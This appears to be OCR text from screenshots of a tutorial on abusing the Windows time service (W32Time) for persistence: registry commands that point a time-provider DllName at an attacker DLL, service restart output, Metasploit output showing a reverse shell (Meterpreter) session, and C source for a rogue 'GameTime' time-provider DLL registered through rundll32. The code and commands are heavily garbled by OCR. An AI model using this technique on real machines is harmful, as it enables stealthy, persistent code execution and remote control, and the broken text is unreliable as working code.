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reg add
"HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpC
lient" /v DllName /t REG Sz /d "C:\temp\w32time.dll"
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sc.exe start w32time




:\Windows\system32>sc stop w32time

ISERVICE_NAME: w32time
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_ EXIT_CODE : 0 (exe)
SERVICE_EXIT_CODE : © (@xe)
CHECKPOINT : exl
WAIT_HINT : Bx3e8

~:\Windows\system32>sc start w32time

SERVICE_NAME: w32time
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : @ (ox0)
SERVICE_EXIT _CODE : © (©x8)
CHECKPOINT : 9x0
WAIT_HINT : @x7de
PID : 5392
FLAGS

:\Windows\system32>
i A A — BT I 3D IR S5
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msf5 exploit( ) = exploit

[#*] Started reverse TCP handler on 18.0.2.21:4444
[#*] Sending stage (206403 bytes) to 10.8.2.30

[#] Meterpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.30:50234) at 2019-10-
21 19:46:02 -0400
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#define GAMETIME SVC KEY NAME
L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"
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AMETIME_SVC_KEY_NAME L'

g_wzModule [MAX_PATH] = {

BOOL WINAPI DllMain(
_In_
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HRESULT _ stdcall TimeProvOpen (
~In_ WCHAR *wszName,
~In  TimeProvSysCallbacks *pSysCallbacks,
_Out  TimeProvHandle *phTimeProv

UNREFERENCED PARAMETER (pSysCallbacks) ;
UNREFERENCED PARAMETER (phTimeProv) ;

OutputDebugStringW (wszName) ;

return (HRESULT FROM WIN32Z (ERROR NOT CAPABLE)) ;

/*
*
*/

HRESULT _ stdcall TimeProvCommand (
~In TimeProvHandle hTimeProv,
~In TimeProvCmd eCmd,

_In_ PVOID PVArgs

UNREFERENCED PARAMETER (hTimeProv) ;
UNREFERENCED PARAMETER (eCmd) ;
UNREFERENCED PARAMETER (pvArgs) ;



https://docs.microsoft.com/en-gb/windows/win32/sysinfo/creating-a-time-provider

return (HRESULT FROM WIN32 (ERROR NOT CAPABLE)) ;

/*
*
*/

HRESULT _ stdcall TimeProvClose (

_In TimeProvHandle hTimeProv

UNREFERENCED PARAMETER (hTimeProv) ;

return (S_OK) ;

TimeProvOpen(

UNREFERENCED_PARAMETER (
UNREFERENCED_PARAMETER (

OutputDebugStringh(

return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));

TimeProvCommand (

UNREFERENCED_PARAMETER (
UNREFERENCED_PARAMETER (
UNREFERENCED_PARAMETER (

return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
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nRet = RegSetValueExW (hkTimeProvider,
L"Dl1Name",
0,
REG_SZ,
(LPBYTE) g wzModule,
(DWORD) wcslen (g _wzModule) *sizeof (WCHAR) +sizeof (WCHAR) ) ;
if (ERROR_SUCCESS != nRet)
{
OutputError (L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW (hkTimeProvider,
L"Enabled",
0,
REG_DWORD,
(LPBYTE) &dwOne,
sizeof (dwOne) ) ;
if (ERROR_SUCCESS != nRet)
{
OutputError (L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW (hkTimeProvider,
L"InputProvider",
0,
REG_DWORD,
(LPBYTE) &dwOne,
sizeof (dwOne) ) ;
if (ERROR_SUCCESS != nRet)
{
OutputError (L"RegCreateKeyExW failed", nRet);

goto ErrorExit;




nRet = RegSetValueExW(hkTimeProvider,
L"D11Name",
9,
REG_SZ
E)g_wzModule,
( Jwcslen(g wzModule)*
if (ERROR_SUCCESS != nRet)

I
L

OutputError(L"RegCreatekK | failed", nRet);
goto ErrorExit;

nRet = RegSetValueExW(hkTimeProvider,
L"Enabled",

(dwOne) ) ;

if (ERROR_SUCCESS != nRet)

QutputError(L"R ( d failed", nRet);

nRet = RegSetValueExW(hkTimeProvider,
L"InputPr der”,
9]
REG_|
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HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameT
ime

void CALLBACK Deregister (
_In_ HWND hWnd,
_In_ HINSTANCE hInst,
_In LPSTR pwzCmdLine,
~In_int nCmdShow)

long nRet;

UNREFERENCED PARAMETER (hWnd) ;
UNREFERENCED PARAMETER (hInst) ;
UNREFERENCED PARAMETER (pwzCmdLine) ;
UNREFERENCED PARAMETER (nCmdShow) ;

OutputDebugStringW (L"Unregister\n") ;
nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);

if (ERROR_SUCCESS != nRet)
{




OutputError (L"RegDeleteKeyW failed!", nRet);

goto ErrorExit;

ErrorExit:

return;

CALLBACK Deregister(

UNREFERENCED_PARAMETER (
UNREFERENCED_PARAMETER(
UNREFERENCED_PARAMETER (
UNREFERENCED_PARAMETER (

OutputDebugStringW(L"Unregister\n");

nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
if (ERROR_SUCCESS != nRet)
{

OutputError(L"Reg le /W failed!", nRet);

goto ErrorExit;

ErrorExit:

return;
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rundl132.exe gametime.dll,Register

:\Windows\system32>rundll32.exe gametime.dll,Register

:\Windows\system32>
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C:\Windows\system32>rundll32.exe gametime.dll,Deregister

C:\Windows\system32>
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